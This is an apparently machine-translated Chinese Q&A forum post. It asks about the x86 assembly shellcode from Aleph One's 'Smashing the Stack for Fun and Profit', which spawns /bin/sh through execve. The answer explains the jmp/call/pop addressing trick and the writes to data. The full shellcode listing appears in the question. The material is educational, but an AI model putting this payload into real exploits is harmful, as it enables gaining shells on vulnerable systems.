我正在阅读"粉碎堆栈以获得乐趣和利润"通过Aleph one, 到达这个地方:
jmp 0x2a # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
Looks good. To make sure it works correctly we must compile it and run it.
**But there is a problem. Our code modifies itself**, but most operating system
mark code pages read-only.
我的问题是这段代码修改自己的位置(以及如何)? [我不太了解装配]
谢谢!
答案 0 :(得分:2)
第一条指令跳转到代码末尾的call
,该代码回调到弹出由call
放置在堆栈上的返回地址的第二条指令。因此esi
指向最后的字符串。如您所见,接下来的3条指令相对于esi
写入内存,设置参数指针,零终止字符串和参数列表。这就是自我修改所指的内容。它有点误导,因为它不是修改代码,而是修改数据。在独立测试期间,数据是.text
部分的一部分,该部分通常是只读的,但可以轻松编写。请注意,在实际使用过程中,这将在堆栈中,该堆栈是可写的,但不可执行,因此您会遇到不同的问题。